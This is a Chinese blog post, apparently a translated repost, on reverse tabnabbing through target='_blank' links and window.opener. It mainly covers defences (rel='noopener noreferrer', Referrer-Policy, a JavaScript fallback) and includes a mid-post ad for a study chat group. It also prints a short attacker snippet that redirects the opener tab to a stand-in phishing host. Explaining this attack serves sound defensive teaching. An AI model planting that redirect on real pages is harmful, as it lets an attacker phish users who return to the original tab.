美文网首页码农的世界互联网科技
网页中a链接中隐藏着危险,你知道吗?

网页中a链接中隐藏着危险,你知道吗?

作者: 秋风_bdfd | 来源:发表于2018-12-28 23:13 被阅读6次

    前言

    在网页中使用a链接时,可能会添加一个简单的 target="_blank" 属性到 a 标签上来让浏览器用一个新的标签页来打开一个 URL 地址。但是这一属性正在成为网络钓鱼者攻击的机会。

    parent 和 opener

    在讨论 opener 对象之前,我们先看看 <iframe> 里面的 parent 对象。

    我们都知道 <iframe> 提供了一个用于父页面与子页面交互的对象,它就是 window.parent。也就是我们可以通过 window.parent 对象去访问父页面的 window对象。

    而 opener 是跟 parent 一样的对象,但是它只是用于通过 <a target="_blank"> 来打开的新标签页。你可以通过 window.opener 直接的访问到新标签页面的 window 对象。

    同域和跨域

    浏览器原本提供了完整的跨域保护机制。当新旧页面域名相同时,事实上 parent 对象和 opener 对象都是父页面的 window 对象。当域名不同时,parent 和 opener 是包装过的 global 对象。这个 global 对象只提供了非常受限制的属性,其中大部分的属性是不允许访问的 (当你点出这些属性时它会抛一个 DOMException 的错误)。

    在 <iframe> 中,提供了一个 sandbox 属性来控制这些页面的权限,所以即使是相同域名,你也可以通过它来控制 <iframe> 的安全性。

    恶意攻击

    如果你的网站上有一个使用了 target="_blank" 的 a 标签链接,一旦用户点击了这个链接打开了新的标签页,如果这个标签页跳转的网站内存在的恶意代码,那么你原本页面的网站可能会被转到一个假的页面。也就是说,当用户回到原本的页面时,他看到的可能就是已经被替换过的钓鱼页面了。

    这里还是要推荐下小编的web前端学习 群 : 687958461,不管你是小白还是大牛,小编我都欢迎,不定期分享干货,包括 小编自己整理的一份最新的web前端资料和0基础入门教程,欢迎初学和进 阶中的小伙伴。在不忙的时间我会给大家解惑。

    步骤

    1. 你的网站上有一个 a 标签的链接 https://example.com:

    Enter an "evil" website

    一个用户点击了这个链接在一个新的标签页打开这个新的网站。这个网站可以根据用户跳转新页面的 HTTP 请求中的 header 里的 Referer 字段来确定这个用户的来源。

    而这个网站包含类似的 JavaScript code:

    const url = encodeURIComponent('{{header.referer}}');

    window.opener.location.replace('https://a.fake.site/?' + url);

    2. 现在,这个用户继续浏览合格新打开的标签页,当这个开始的页面已经加载到 https://a.fake.site/?https%3A%2F%2Fexample.com%2F 之后。

    3. 这个恶意的网站 https://a.fake.site 可以根据这个 querystring 部分伪造一个跟原本的页面一样的页面来欺骗用户(其实你也可以在这期间制造另一个跳转,让浏览器的地址栏看起来更令人困惑)

    4. 当用户关掉这个新标签页(https://an.evil.site)然后回到开始的页面时…………Oh, no, 你再也回不到开始那个页面了。

    以上的攻击方式,是在跨域的场景中。因为当跳转的页面跨域时,opener 对象与 parent 是同一个。虽然,都是受限制的并且只提供了很少的受限的可用属性。并且这一些可用的属性里,大部分都不被允许访问(否则使用时会直接报错 DOMException)。但是在跨域的场景中,opener 对象不像 parent 对象那么严格,opener 依然可以调用 location.replace 方法。

    如果这是同域场景(例如,这个网站上的一个页面已经被嵌入了恶意代码),那么这个情况会变得更加严重。

    预防

    在 <iframe> 中有一个 sandbox 属性,所以你可以使用以下的一些方法来预防链接:

    1. Referrer Policy 和 noreferrer

    在上述的攻击步骤中,有用到 HTTP header 里的 Referer 属性。事实上,你可以在当前页面返回的 HTTP Response Headers 中添加 Referrer Policy 头来确保原本网页可以不受新标签页的干扰。

    你需要修改后端代码(译注:或者 nginx 配置)来实现添加 Referer Policy 头。同时在前端,你也可以使用 <a> 标签本身支持的 rel 属性,通过指明 rel="noreferrer" 来确保原网页不受新标签页的干扰。

    Enter an "evil" website

    然而,需要注意的是及时你已经限制了 referer 的传递,原网页依旧无法阻止被恶意地重定向。

    2. noopener

    处于安全的考虑,现代浏览器支持指定 rel="noopener" 在 <a> 标签上,从而在新打开的标签页里,opener 对象将不可用,其值直接被设置成了 null。

    Enter an "evil" website

    3. JavaScript

    而 noopener 属性看起来解决了所有的问题,但是…… 你仍旧需要考虑浏览器兼容的情况。

    如你所见, 大部分浏览器都已经兼容 rel="noopener" 属性了。然而,为了保护略老一点版本的浏览器以及远古浏览器(译注:比如 IE),只用 noopener 是不够的。

    所以你不得不参考以下的 JavaScript 代码来处理:

    "use strict";

    function openUrl(url) {

    var newTab = window.open();

    newTab.opener = null;

    newTab.location = url;

    }

    最佳忠告

    首先,你可以添加 rel="noopener" 到网站的 a 标签上(也推荐使用 rel="noreferrer"), 如果算上 target="_blank",那么看起来大概是这样:

    rel="noopener noreferrer">

    Enter an "evil" website

    当然,当你要跳转到第三方网站的时候,就推荐添加 rel="nofollow" 来调整 SEO 权重。这看起来像:

    rel="noopener noreferrer nofollow">

    Enter an "evil" website

    性能

    最后,我们来讨论一下性能问题,如果网站使用 <a target="_blank”> 新打开的标签页的性能就会影响当前打开的页面。在这一点看来,如果在新开的页面里有一个很臃肿的 JavaScript 脚本要执行,那么原本的页面也会受到影响,同时当前页面停滞的现象也可能出现(相当于这两个页面是在同一个线程上)。

    如果 noopener 添加到了链接上,那么这新旧两个页面就不能互相插手对方了,也就是说原来的页面不会受到新页面的影响(这两个页面就变成两个线程了)。

    相关文章

      网友评论

        本文标题:网页中a链接中隐藏着危险,你知道吗?

        本文链接:https://www.haomeiwen.com/subject/ioyylqtx.html